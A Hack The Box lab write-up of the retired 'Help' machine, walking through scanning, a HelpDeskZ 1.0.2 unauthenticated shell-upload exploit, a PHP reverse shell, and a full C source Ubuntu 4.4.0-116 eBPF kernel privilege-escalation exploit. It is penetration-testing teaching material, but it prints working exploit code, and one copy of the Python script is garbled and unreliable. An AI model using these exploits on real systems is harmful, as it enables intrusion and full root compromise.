Hack The Box: 'Help' Writeup
Overview
The Help
machine on Hack The Box (created by cymtrick) is a retired 20 point Linux machine that is fairly straightforward. There is a file upload vulnerability in a web app called “HelpDeskZ” that doesn’t require authentication. Once a shell has been obtained, privesc is a simple Linux kernel exploit. Let’s check out our Nmap
scan!
Nmap Scan
root@kali:~/HTB-HELP# nmap -sC -sV -A -Pn 10.10.10.121
Starting Nmap 7.70 ( https://nmap.org ) at 2019-03-05 16:49 EST
Nmap scan report for 10.10.10.121
Host is up (0.076s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 e5:bb:4d:9c:de:af:6b:bf:ba:8c:22:7a:d8:d7:43:28 (RSA)
| 256 d5:b0:10:50:74:86:a3:9f:c5:53:6f:3b:4a:24:61:19 (ECDSA)
|\_ 256 e2:1b:88:d3:76:21:d4:1e:38:15:4a:81:11:b7:99:07 (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|\_http-server-header: Apache/2.4.18 (Ubuntu)
|\_http-title: Apache2 Ubuntu Default Page: It works
3000/tcp open http Node.js Express framework
|\_http-title: Site doesn't have a title (application/json; charset=utf-8).
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.70%E=4%D=3/5%OT=22%CT=1%CU=38970%PV=Y%DS=2%DC=T%G=Y%TM=5C7EEF0E
OS:%P=x86_64-pc-linux-gnu)SEQ(SP=102%GCD=1%ISR=106%TI=Z%CI=I%II=I%TS=8)SEQ(
OS:SP=102%GCD=1%ISR=106%TI=Z%CI=I%TS=8)OPS(O1=M54DST11NW7%O2=M54DST11NW7%O3
OS:=M54DNNT11NW7%O4=M54DST11NW7%O5=M54DST11NW7%O6=M54DST11)WIN(W1=7120%W2=7
OS:120%W3=7120%W4=7120%W5=7120%W6=7120)ECN(R=Y%DF=Y%T=40%W=7210%O=M54DNNSNW
OS:7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF
OS:=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=
OS:%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=
OS:0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RI
OS:PCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 135/tcp)
HOP RTT ADDRESS
1 46.01 ms 10.10.14.1
2 46.32 ms 10.10.10.121
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 29.08 seconds
I notice port 80 running an Apache2
server and port 3000 running Node.js Express Framework
right off the bat – typically I try to leave SSH alone towards the beginning if I can. Since I already see the web server up and running, I’ll go ahead and add help.htb
to my /etc/hosts
file to make life easier. Then, I’ll check out the default web page at http://10.10.10.121/
. At least now if there’s no direct IP access we should still be able to view the web page at help.htb
.
HTTP Enumeration
I went ahead and ran a gobuster
scan to enumerate potential web directories immediately after discovering the default Apache
web page.
# gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-small.txt -t 35 -u http://10.10.10.121/
=====================================================
Gobuster v2.0.0 OJ Reeves (@TheColonial)
=====================================================
[+] Mode : dir
[+] Url/Domain : http://10.10.10.121/
[+] Threads : 50
[+] Wordlist : /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-small.txt
[+] Status codes : 200,204,301,302,307,403
[+] Expanded : true
[+] Timeout : 10s
=====================================================
2019/01/23 08:34:06 Starting gobuster
=====================================================
http://10.10.10.121/support (Status: 301)
http://10.10.10.121/javascript (Status: 301)
=====================================================
2019/01/23 08:39:48 Finished
=====================================================
Immediately, /support
stands out to me. I checked /javascript
as well, but didn’t have permission to access it.
Moving along to http://10.10.10.121/support/
, I get a page that looks like this:
Interesting… 🤔
Let’s do a bit of exploring!
I managed to locate a readme
file at http://10.10.10.121/support/readme.html
which displayed the HelpDesk version is HelpDeskZ Version: 1.0.2 from 1st June 2015
.
2015 is quite a ways back… as far as technology goes, that is! Let’s see if there’s a CVE for it:
Bingo!
A basic “Google” (DuckDuckGo 😛) search will display the CVE immediately! Alternatively, searchsploit
can be used, but everybody likes screenshots, so that’s what you’re getting instead.
Script Modification & Getting User
Having a look at the CVE, this is what we find:
'''
#
# Updated Exploit Provided by Drew Griess
#
# Exploit Title HelpDeskZ = v1.0.2 - Unauthenticated Shell Upload
# Google Dork intextHelp Desk Software by HelpDeskZ
# Date 2016-08-26
# Exploit Author Lars Morgenroth - @krankoPwnz
# Vendor Homepage httpwww.helpdeskz.com
# Software Link httpsgithub.comevolutionscriptHelpDeskZ-1.0archivemaster.zip
# Version = v1.0.2
# Tested on
# CVE
HelpDeskZ = v1.0.2 suffers from an unauthenticated shell upload vulnerability.
The software in the default configuration allows upload for .php-Files ( !! ). I think the developers thought it was no risk, because the filenames get obfuscated when they are uploaded. However, there is a weakness in the rename function of the uploaded file
controllers httpsgithub.comevolutionscriptHelpDeskZ-1.0tree006662bb856e126a38f2bb76df44a2e4e3d37350controllerssubmit_ticket_controller.php - Line 141
$filename = md5($_FILES['attachment']['name'].time())...$ext;
So by guessing the time the file was uploaded, we can get RCE.
Steps to reproduce
httplocalhosthelpdeskzv=submit_ticket&action=displayForm
Enter anything in the mandatory fields, attach your phpshell.php, solve the captcha and submit your ticket.
Call this script with the base url of your HelpdeskZ-Installation and the name of the file you uploaded
exploit.py httplocalhosthelpdeskz phpshell.php
'''
import hashlib
import time
import sys
import requests
import datetime
print 'Helpdeskz v1.0.2 - Unauthenticated shell upload exploit'
if len(sys.argv) 3
print Usage {} [baseUrl] [nameOfUploadedFile].format(sys.argv[0])
sys.exit(1)
helpdeskzBaseUrl = sys.argv[1]
fileName = sys.argv[2]
r = requests.get(helpdeskzBaseUrl)
#Gets the current time of the server to prevent timezone errors - DoctorEww
currentTime = int((datetime.datetime.strptime(r.headers['date'], %a, %d %b %Y %H%M%S %Z) - datetime.datetime(1970,1,1)).total_seconds())
for x in range(0, 300)
plaintext = fileName + str(currentTime - x)
md5hash = hashlib.md5(plaintext).hexdigest()
url = helpdeskzBaseUrl+md5hash+'.php'
response = requests.head(url)
if response.status_code == 200
print found!
print url
sys.exit(0)
print Sorry, I did not find anything
'''python
# Exploit Title: HelpDeskZ <= v1.0.2 - Unauthenticated Shell Upload
# Google Dork: intext:"Help Desk Software by HelpDeskZ"
# Date: 2016-08-26
# Exploit Author: Lars Morgenroth - @krankoPwnz
# Vendor Homepage: http://www.helpdeskz.com/
# Software Link: https://github.com/evolutionscript/HelpDeskZ-1.0/archive/master.zip
# Version: <= v1.0.2
# Tested on:
# CVE :
HelpDeskZ <= v1.0.2 suffers from an unauthenticated shell upload vulnerability.
The software in the default configuration allows upload for .php-Files ( ?!?! ). I think the developers thought it was no risk, because the filenames get "obfuscated" when they are uploaded. However, there is a weakness in the rename function of the uploaded file:
/controllers <https://github.com/evolutionscript/HelpDeskZ-1.0/tree/006662bb856e126a38f2bb76df44a2e4e3d37350/controllers>/*submit_ticket_controller.php - Line 141*
$filename = md5($_FILES['attachment']['name'].time()).".".$ext;
So by guessing the time the file was uploaded, we can get RCE.
Steps to reproduce:
http://localhost/helpdeskz/?v=submit_ticket&action=displayForm
Enter anything in the mandatory fields, attach your phpshell.php, solve the captcha and submit your ticket.
Call this script with the base url of your HelpdeskZ-Installation and the name of the file you uploaded:
exploit.py http://localhost/helpdeskz/ phpshell.php
import hashlib
import time
import sys
import requests
print 'Helpdeskz v1.0.2 - Unauthenticated shell upload exploit'
if len(sys.argv) < 3:
print "Usage: {} [baseUrl] [nameOfUploadedFile]".format(sys.argv[0])
sys.exit(1)
helpdeskzBaseUrl = sys.argv[1]
fileName = sys.argv[2]
currentTime = int(time.time())
for x in range(0, 300):
plaintext = fileName + str(currentTime - x)
md5hash = hashlib.md5(plaintext).hexdigest()
url = helpdeskzBaseUrl+md5hash+'.php'
response = requests.head(url)
if response.status_code == 200:
print "found!"
print url
sys.exit(0)
print "Sorry, I did not find anything"
'''
To replicate, I simply uploaded a PHP reverse shell (I am using php-reverse-shell
from pentestmonkey) named phpshell.php
and then ran the script to ensure it was uploaded successfully.
Now, initially I couldn’t get a shell back with this, and I couldn’t figure out why. Then, I noticed the for
loop here:
for x in range(0, 300)
plaintext = fileName + str(currentTime - x)
md5hash = hashlib.md5(plaintext).hexdigest()
url = helpdeskzBaseUrl+md5hash+'.php'
response = requests.head(url)
if response.status_code == 200
print found!
print url
sys.exit(0)
I modified the range
portion of the script to account for any disparities between the server’s timezone and my own. I also noticed that the url of the shell is hashed with md5
, so I adjusted the script to print the md5
hash at this step.
for x in range(-200, 1000):
plaintext = fileName + str(currentTime - x)
md5hash = hashlib.md5(plaintext).hexdigest()
url = helpdeskzBaseUrl+md5hash+'.php'
print md5hash+'.php'
response = requests.head(url)
if response.status_code == 200:
print "found!"
print url
sys.exit(0)
I then outputted the md5
hashes generated from the script to a new file called farbs_shell.txt
and ran gobuster
against the /support/uploads/tickets
URL path with farbs_shell.txt
as the wordlist.
root@kali:~/HTB-HELP# gobuster dir -u http://10.10.10.121/support/uploads/tickets -w farbs_shell.txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://10.10.10.121/support/uploads/tickets
[+] Threads: 10
[+] Wordlist: farbs_shell.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Timeout: 10s
===============================================================
2019/08/31 12:50:23 Starting gobuster
===============================================================
[ERROR] 2019/08/31 12:50:38 [!] Get http://10.10.10.121/support/uploads/tickets/3fa87d26e5826de72385f15c8528037e.php: net/http: request canceled (Client.Timeout exceeded while awaiting headers)
===============================================================
2019/08/31 12:50:38 Finished
===============================================================
Doing so returned a shell immediately:
root@kali:~/HTB-HELP# nc -lnvp 9001
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::9001
Ncat: Listening on 0.0.0.0:9001
Ncat: Connection from 10.10.10.121.
Ncat: Connection from 10.10.10.121:53304.
Linux help 4.4.0-116-generic #140-Ubuntu SMP Mon Feb 12 21:23:04 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
09:46:33 up 27 min, 0 users, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=1000(help) gid=1000(help) groups=1000(help),4(adm),24(cdrom),30(dip),33(www-data),46(plugdev),114(lpadmin),115(sambashare)
/bin/sh: 0: can't access tty; job control turned off
$
This box is running python
version 2.7.12
, so I am able to easily upgrade my shell by importing pty
like so:
python -c 'import pty;pty.spawn("/bin/bash");'
And…
$ python -c 'import pty;pty.spawn("/bin/bash");'
help@help:/$ id
id
uid=1000(help) gid=1000(help) groups=1000(help),4(adm),24(cdrom),30(dip),33(www-data),46(plugdev),114(lpadmin),115(sambashare)
help@help:/$
Nice! We can change directories to /home/help
and grab user.txt
real quick:
help@help:/home/help$ cd /home/help
cd /home/help
help@help:/home/help$ cat user.txt
cat user.txt
bb8a7b36bdce...
System Enumeration & Root
This box is about as straightforward as it gets when it comes to getting root. I start by checking the kernel version of the machine:
help@help:/home/help$ cat /proc/version
Linux version 4.4.0-116-generic (buildd@lgw01-amd64-021) (gcc version 5.4.0 20160609 (Ubuntu 5.4.0-6ubuntu1~16.04.9) ) #140-Ubuntu SMP Mon Feb 12 21:23:04 UTC 2018
So, it appears to be running Linux version 4.4.0-116-generic, which has a kernel CVE readily available for us to use. Let’s check it out with searchsploit
:
Linux Kernel < 4.4.0-116 (Ubuntu 16.04.4) - Local Privilege Escalation | exploits/linux/local/44298.c
Looks interesting… Here’s the source code:
/*
* Ubuntu 16.04.4 kernel priv esc
*
* all credits to @bleidl
* - vnik
*/
// Tested on:
// 4.4.0-116-generic #140-Ubuntu SMP Mon Feb 12 21:23:04 UTC 2018 x86_64
// if different kernel adjust CRED offset + check kernel stack size
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <fcntl.h>
#include <string.h>
#include <linux/bpf.h>
#include <linux/unistd.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <sys/stat.h>
#include <stdint.h>
#define PHYS_OFFSET 0xffff880000000000
#define CRED_OFFSET 0x5f8
#define UID_OFFSET 4
#define LOG_BUF_SIZE 65536
#define PROGSIZE 328
int sockets[2];
int mapfd, progfd;
char *__prog = "\xb4\x09\x00\x00\xff\xff\xff\xff"
"\x55\x09\x02\x00\xff\xff\xff\xff"
"\xb7\x00\x00\x00\x00\x00\x00\x00"
"\x95\x00\x00\x00\x00\x00\x00\x00"
"\x18\x19\x00\x00\x03\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00"
"\xbf\x91\x00\x00\x00\x00\x00\x00"
"\xbf\xa2\x00\x00\x00\x00\x00\x00"
"\x07\x02\x00\x00\xfc\xff\xff\xff"
"\x62\x0a\xfc\xff\x00\x00\x00\x00"
"\x85\x00\x00\x00\x01\x00\x00\x00"
"\x55\x00\x01\x00\x00\x00\x00\x00"
"\x95\x00\x00\x00\x00\x00\x00\x00"
"\x79\x06\x00\x00\x00\x00\x00\x00"
"\xbf\x91\x00\x00\x00\x00\x00\x00"
"\xbf\xa2\x00\x00\x00\x00\x00\x00"
"\x07\x02\x00\x00\xfc\xff\xff\xff"
"\x62\x0a\xfc\xff\x01\x00\x00\x00"
"\x85\x00\x00\x00\x01\x00\x00\x00"
"\x55\x00\x01\x00\x00\x00\x00\x00"
"\x95\x00\x00\x00\x00\x00\x00\x00"
"\x79\x07\x00\x00\x00\x00\x00\x00"
"\xbf\x91\x00\x00\x00\x00\x00\x00"
"\xbf\xa2\x00\x00\x00\x00\x00\x00"
"\x07\x02\x00\x00\xfc\xff\xff\xff"
"\x62\x0a\xfc\xff\x02\x00\x00\x00"
"\x85\x00\x00\x00\x01\x00\x00\x00"
"\x55\x00\x01\x00\x00\x00\x00\x00"
"\x95\x00\x00\x00\x00\x00\x00\x00"
"\x79\x08\x00\x00\x00\x00\x00\x00"
"\xbf\x02\x00\x00\x00\x00\x00\x00"
"\xb7\x00\x00\x00\x00\x00\x00\x00"
"\x55\x06\x03\x00\x00\x00\x00\x00"
"\x79\x73\x00\x00\x00\x00\x00\x00"
"\x7b\x32\x00\x00\x00\x00\x00\x00"
"\x95\x00\x00\x00\x00\x00\x00\x00"
"\x55\x06\x02\x00\x01\x00\x00\x00"
"\x7b\xa2\x00\x00\x00\x00\x00\x00"
"\x95\x00\x00\x00\x00\x00\x00\x00"
"\x7b\x87\x00\x00\x00\x00\x00\x00"
"\x95\x00\x00\x00\x00\x00\x00\x00";
char bpf_log_buf[LOG_BUF_SIZE];
static int bpf_prog_load(enum bpf_prog_type prog_type,
const struct bpf_insn *insns, int prog_len,
const char *license, int kern_version) {
union bpf_attr attr = {
.prog_type = prog_type,
.insns = (__u64)insns,
.insn_cnt = prog_len / sizeof(struct bpf_insn),
.license = (__u64)license,
.log_buf = (__u64)bpf_log_buf,
.log_size = LOG_BUF_SIZE,
.log_level = 1,
};
attr.kern_version = kern_version;
bpf_log_buf[0] = 0;
return syscall(__NR_bpf, BPF_PROG_LOAD, &attr, sizeof(attr));
}
static int bpf_create_map(enum bpf_map_type map_type, int key_size, int value_size,
int max_entries) {
union bpf_attr attr = {
.map_type = map_type,
.key_size = key_size,
.value_size = value_size,
.max_entries = max_entries
};
return syscall(__NR_bpf, BPF_MAP_CREATE, &attr, sizeof(attr));
}
static int bpf_update_elem(uint64_t key, uint64_t value) {
union bpf_attr attr = {
.map_fd = mapfd,
.key = (__u64)&key,
.value = (__u64)&value,
.flags = 0,
};
return syscall(__NR_bpf, BPF_MAP_UPDATE_ELEM, &attr, sizeof(attr));
}
static int bpf_lookup_elem(void *key, void *value) {
union bpf_attr attr = {
.map_fd = mapfd,
.key = (__u64)key,
.value = (__u64)value,
};
return syscall(__NR_bpf, BPF_MAP_LOOKUP_ELEM, &attr, sizeof(attr));
}
static void __exit(char *err) {
fprintf(stderr, "error: %s\n", err);
exit(-1);
}
static void prep(void) {
mapfd = bpf_create_map(BPF_MAP_TYPE_ARRAY, sizeof(int), sizeof(long long), 3);
if (mapfd < 0)
__exit(strerror(errno));
progfd = bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER,
(struct bpf_insn *)__prog, PROGSIZE, "GPL", 0);
if (progfd < 0)
__exit(strerror(errno));
if(socketpair(AF_UNIX, SOCK_DGRAM, 0, sockets))
__exit(strerror(errno));
if(setsockopt(sockets[1], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(progfd)) < 0)
__exit(strerror(errno));
}
static void writemsg(void) {
char buffer[64];
ssize_t n = write(sockets[0], buffer, sizeof(buffer));
if (n < 0) {
perror("write");
return;
}
if (n != sizeof(buffer))
fprintf(stderr, "short write: %lu\n", n);
}
#define __update_elem(a, b, c) \
bpf_update_elem(0, (a)); \
bpf_update_elem(1, (b)); \
bpf_update_elem(2, (c)); \
writemsg();
static uint64_t get_value(int key) {
uint64_t value;
if (bpf_lookup_elem(&key, &value))
__exit(strerror(errno));
return value;
}
static uint64_t __get_fp(void) {
__update_elem(1, 0, 0);
return get_value(2);
}
static uint64_t __read(uint64_t addr) {
__update_elem(0, addr, 0);
return get_value(2);
}
static void __write(uint64_t addr, uint64_t val) {
__update_elem(2, addr, val);
}
static uint64_t get_sp(uint64_t addr) {
return addr & ~(0x4000 - 1);
}
static void pwn(void) {
uint64_t fp, sp, task_struct, credptr, uidptr;
fp = __get_fp();
if (fp < PHYS_OFFSET)
__exit("bogus fp");
sp = get_sp(fp);
if (sp < PHYS_OFFSET)
__exit("bogus sp");
task_struct = __read(sp);
if (task_struct < PHYS_OFFSET)
__exit("bogus task ptr");
printf("task_struct = %lx\n", task_struct);
credptr = __read(task_struct + CRED_OFFSET); // cred
if (credptr < PHYS_OFFSET)
__exit("bogus cred ptr");
uidptr = credptr + UID_OFFSET; // uid
if (uidptr < PHYS_OFFSET)
__exit("bogus uid ptr");
printf("uidptr = %lx\n", uidptr);
__write(uidptr, 0); // set both uid and gid to 0
if (getuid() == 0) {
printf("spawning root shell\n");
system("/bin/bash");
exit(0);
}
__exit("not vulnerable?");
}
int main(int argc, char **argv) {
prep();
pwn();
return 0;
}
Returning to the box, I wanted to make sure I would be able to transfer the file to myself. Unfortunately, curl
is not installed, but wget
is! I hosted the exploit.c
file from the CVE with a SimpleHTTPServer
via python
and then grabbed the file on the Help machine with wget
. It should look something like this:
root@kali:~/HTB-HELP/www# ls
exploit.c
root@kali:~/HTB-HELP/www# python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...
Now that my SimpleHTTPServer
is up and running, I can grab the file:
help@help:/home/help$ wget -O exploit.c http://10.10.14.34:8000/exploit.c
wget -O exploit.c http://10.10.14.34:8000/exploit.c
--2019-08-31 10:05:57-- http://10.10.14.34:8000/exploit.c
Connecting to 10.10.14.34:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 6021 (5.9K) [text/plain]
Saving to: 'exploit.c'
exploit.c 100%[===================>] 5.88K --.-KB/s in 0.002s
2019-08-31 10:05:57 (3.42 MB/s) - 'exploit.c' saved [6021/6021]
Finally, I can compile the exploit with gcc
and then run it from the /tmp
directory to get root!
help@help:/tmp$ gcc exploit.c -o farbs-hacked-help
gcc exploit.c -o farbs-hacked-help
help@help:/tmp$ chmod +x farbs-hacked-help
chmod +x farbs-hacked-help
help@help:/tmp$ ./farbs-hacked-help
./farbs-hacked-help
task_struct = ffff880038ad4600
uidptr = ffff88003645b804
spawning root shell
root@help:/tmp# id
id
uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),30(dip),33(www-data),46(plugdev),114(lpadmin),115(sambashare),1000(help)
Now we can go grab root.txt
to complete the box!
root@help:/tmp# cd /root
cd /root
root@help:/root# cat root.txt
cat root.txt
b7fe6082dcdf...